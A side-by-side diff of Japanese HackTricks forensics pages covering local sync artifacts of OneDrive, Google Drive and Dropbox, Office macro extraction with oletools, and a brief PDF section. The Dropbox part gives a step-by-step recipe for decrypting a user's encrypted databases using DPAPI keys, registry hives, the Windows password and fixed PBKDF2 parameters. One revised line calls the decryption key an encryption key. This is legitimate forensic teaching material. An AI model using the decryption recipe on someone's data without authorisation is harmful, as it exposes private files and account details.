{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary> <summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法: Other ways to support HackTricks:
* もし**HackTricksで会社を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **💬[Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[**telegramグループ**](https://t.me/peass)に参加し、**Twitter**🐦で**フォロー**してください [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,136 +1,138 @@
# ローカルクラウドストレージ # ローカルクラウドストレージ
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) を使用して、世界で最も先進的なコミュニティツールによって強化された **ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive ## OneDrive
Windowsでは、OneDriveフォルダ`\Users\<username>\AppData\Local\Microsoft\OneDrive` に見つけることができます。そして `logs\Personal` 内には、同期されたファイルに関する興味深いデータが含まれている `SyncDiagnostics.log` ファイルを見つけることができます: Windowsでは、OneDriveフォルダーは `\Users\<username>\AppData\Local\Microsoft\OneDrive` にあります。そして `logs\Personal` 内には、同期されたファイルに関する興味深いデータを含む `SyncDiagnostics.log` というファイルがあります:
* バイト単位のサイズ * バイト単位のサイズ
* 作成日 * 作成日
* 変更 * 修正
* クラウド内のファイル数 * クラウド内のファイル数
* フォルダ内のファイル数 * フォルダ内のファイル数
* **CID**: OneDriveユーザーのユニークID * **CID**: OneDriveユーザーのユニークID
* レポート生成時間 * レポート生成時間
* OSのHDのサイズ * OSのHDのサイズ
CIDを見つけたら、**このIDを含むファイルを検索**することが推奨されます。_**\<CID>.ini**_ および _**\<CID>.dat**_ という名前のファイルを見つけることができ、これにはOneDriveと同期されたファイルの名前など、興味深い情報が含まれている可能性があります。 CIDを見つけたら、このIDを含むファイルを**検索することをお勧めします**。_**\<CID>.ini**_ や _**\<CID>.dat**_ という名前のファイルが見つかるかもしれません。これらのファイルには、OneDriveと同期されたファイルの名前などの興味深い情報が含まれている可能性があります。
## Google Drive ## Google Drive
Windowsでは、メインのGoogle Driveフォルダを `\Users\<username>\AppData\Local\Google\Drive\user_default` に見つけることができます。\ Windowsでは、主要なGoogle Driveフォルダーは `\Users\<username>\AppData\Local\Google\Drive\user_default` にあります。\
このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれた Sync\_log.log というファイルが含まれています。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。 このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報を含む `Sync_log.log` というファイルがあります。削除されたファイルも、そのログファイルに対応するMD5と共に表示されます。
ファイル **`Cloud_graph\Cloud_graph.db`** は**`cloud_graph_entry`** というテーブルを含むsqliteデータベースで、このテーブルでは **同期されたファイル****名前**、変更時間、サイズ、およびファイルのMD5チェックサムを見つけることができます。 ファイル **`Cloud_graph\Cloud_graph.db`** はsqliteデータベースで、**`cloud_graph_entry`** というテーブルが含まれています。このテーブルには、**同期された** **ファイルの名前**、修正時間、サイズ、ファイルのMD5チェックサムが含まれています。
データベース **`Sync_config.db`** のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。 データベース **`Sync_config.db`** のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。
## Dropbox ## Dropbox
Dropboxはファイルを管理するために **SQLiteデータベース** を使用しています。\ Dropboxは**SQLiteデータベース**を使用してファイルを管理します。この\
これらのデータベースは次のフォルダにあります: データベースは以下のフォルダーにあります:
* `\Users\<username>\AppData\Local\Dropbox` * `\Users\<username>\AppData\Local\Dropbox`
* `\Users\<username>\AppData\Local\Dropbox\Instance1` * `\Users\<username>\AppData\Local\Dropbox\Instance1`
* `\Users\<username>\AppData\Roaming\Dropbox` * `\Users\<username>\AppData\Roaming\Dropbox`
そして、主要なデータベースは次のとおりです: 主要なデータベースは次のとおりです
* Sigstore.dbx * Sigstore.dbx
* Filecache.dbx * Filecache.dbx
* Deleted.dbx * Deleted.dbx
* Config.dbx * Config.dbx
".dbx" 拡張子は、これらのデータベースが **暗号化** されていることを意味します。Dropboxは **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) を使用しています。 ".dbx"拡張子は、**データベース**が**暗号化されている**ことを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)
Dropboxが使用する暗号化をよりよく理解するためには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) を読んでください Dropboxが使用している暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読むことができます
ただし、主な情報は次のとおりです: しかし、主な情報は次のとおりです:
* **エントロピー**: d114a55212655f74bd772e37e64aee9b * **エントロピー**: d114a55212655f74bd772e37e64aee9b
* **ソルト**: 0D638C092E8B82FC452883F95F355B8E * **ソルト**: 0D638C092E8B82FC452883F95F355B8E
* **アルゴリズム**: PBKDF2 * **アルゴリズム**: PBKDF2
* **反復回数**: 1066 * **イテレーション**: 1066
その情報以外に、データベースを復号化するには以下が必要です: その情報に加えて、データベースを復号化するには、次のものが必要です:
* **暗号化されたDPAPIキー**: これは `NTUSER.DAT\Software\Dropbox\ks\client` 内のレジストリから見つけることができます(このデータをバイナリとしてエクスポートします * **暗号化されたDPAPIキー**: レジストリ内の `NTUSER.DAT\Software\Dropbox\ks\client`見つけることができます(このデータをバイナリとしてエクスポート)
* **`SYSTEM`** および **`SECURITY`** ハイブ * **`SYSTEM`** および **`SECURITY`** ハイブ
* **DPAPIマスタキー**: これは `\Users\<username>\AppData\Roaming\Microsoft\Protect`見つけることができます * **DPAPIマスタキー**: `\Users\<username>\AppData\Roaming\Microsoft\Protect`あります
* Windowsユーザーの **ユーザー名** **パスワード** * Windowsユーザーの**ユーザー名**と**パスワード**
その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html) ツールを使用できます: その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**を使用できます:**
![](<../../../.gitbook/assets/image (443).png>) ![](<../../../.gitbook/assets/image (443).png>)
すべてが予想通りに進むと、ツールは **元のキーを回復するために使用する主キー** を示します。元のキーを回復するには、この [cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) を使用し、主キーを受け取った "passphrase" として設定します。 すべてが期待通りに進めば、ツールは**元のものを復元するために使用する必要がある主キー**を示します。元のものを復元するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\))を使用し、主キーをレシピ内の「パスフレーズ」として入力します。
結果の16進数は、データベースを復号化するために使用される最終キーであり、次のように復号化できます: 結果の16進数は、データベースを暗号化するために使用される最終キーであり、復号化できます:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
**`config.dbx`**データベースには次の情報が含まれています: The **`config.dbx`** データベースには以下が含まれています:
- **Email**: ユーザーのメールアドレス * **Email**: ユーザーのメールアドレス
- **usernamedisplayname**: ユーザーの名前 * **usernamedisplayname**: ユーザーの名前
- **dropbox\_path**: Dropboxフォルダが配置されているパス * **dropbox\_path**: Dropboxフォルダがあるパス
- **Host\_id**: クラウドへの認証に使用されるハッシュ。これはウェブからのみ取り消すことができます。 * **Host\_id: Hash**: クラウドへの認証に使用されるハッシュ。このハッシュはウェブからのみ取り消すことができます。
- **Root\_ns**: ユーザー識別子 * **Root\_ns**: ユーザー識別子
**`filecache.db`**データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。最も有用な情報を持つテーブルは`File_journal`です: **`filecache.db`** データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。`File_journal` テーブルが最も有用な情報を持っています:
- **Server\_path**: サーバー内のファイルが配置されているパス(このパスはクライアントの`host_id`で先行します)。 * **Server\_path**: サーバー内のファイルがあるパス(このパスはクライアントの `host_id` によって前置されます)。
- **local\_sjid**: ファイルのバージョン * **local\_sjid**: ファイルのバージョン
- **local\_mtime**: 修正日 * **local\_mtime**: 修正日
- **local\_ctime**: 作成日 * **local\_ctime**: 作成日
このデータベース内の他のテーブルには、さらに興味深い情報が含まれています: このデータベース内の他のテーブルには、さらに興味深い情報が含まれています:
- **block\_cache**: Dropboxのすべてのファイルとフォルダのハッシュ * **block\_cache**: Dropboxのすべてのファイルとフォルダのハッシュ
- **block\_ref**: テーブル`block_cache`のハッシュIDをテーブル`file_journal`のファイルIDに関連付ける * **block\_ref**: `block_cache` テーブルのハッシュIDと `file_journal` テーブルのファイルIDを関連付ける
- **mount\_table**: Dropboxの共有フォルダ * **mount\_table**: Dropboxの共有フォルダ
- **deleted\_fields**: Dropboxで削除されたファイル * **deleted\_fields**: Dropboxで削除されたファイル
- **date\_added** * **date\_added**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Officeファイルの分析 # Office file analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
今すぐアクセスしてください: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
詳細については、[https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)をチェックしてください。これは要約です: For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary:
Microsoftは多くのオフィス文書形式を作成しており、主なタイプは**OLE形式**RTF、DOC、XLS、PPTなどと**Office Open XMLOOXML形式**DOCX、XLSX、PPTXなどです。これらの形式にはマクロが含まれることがあり、それによりフィッシングやマルウェアの標的となります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、およびXMLファイルの内容を表示できます。 Microsoftは多くのオフィス文書フォーマットを作成しており、主に**OLEフォーマット**RTF、DOC、XLS、PPTなどと**Office Open XMLOOXMLフォーマット**DOCX、XLSX、PPTXなどの2種類があります。これらのフォーマットにはマクロが含まれることがあり、フィッシングやマルウェアの標的となります。OOXMLファイルはzipコンテナとして構造化されており、解凍することでファイルとフォルダの階層やXMLファイルの内容を確認できます。
OOXMLファイルの構造を探るために、ドキュメントを解凍するためのコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が示されています。 OOXMLファイル構造を探るための文書を解凍するコマンドと出力構造が示されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータ隠蔽の革新が続いていることを示しています。
分析のために、**oletools**と**OfficeDissector**は、OLEおよびOOXMLドキュメントを調査するための包括的なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定および分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Officeを使用してMicrosoft Officeなしで行うことができ、ブレークポイントとウォッチ変数を使用したデバッグが可能です。 分析のために、**oletools**と**OfficeDissector**はOLEおよびOOXML文書を調査するための包括的なツールセットを提供します。これらのツールは、しばしばマルウェア配信のベクターとして機能する埋め込まれたマクロを特定し分析するのに役立ちます。VBAマクロの分析は、Libre Officeを利用することでMicrosoft Officeなしで行うことができ、ブレークポイントやウォッチ変数を使ってデバッグが可能です。
**oletools**のインストールと使用は簡単で、pipを介してインストールするためのコマンドが提供され、ドキュメントからマクロを抽出するためのコマンドも提供されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または`Document_Open`などの関数によってトリガーされます。 **oletools**のインストールと使用は簡単で、pipを介してインストールし、文書からマクロを抽出するためのコマンドが提供されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または`Document_Open`のような関数によってトリガーされます。
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
@ -38,21 +39,22 @@ olevba -c /path/to/document #Extract macros
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# PDFファイルの分析 # PDFファイル分析
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセス: 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**詳細については、次を確認してください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **詳細については、次を確認してください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
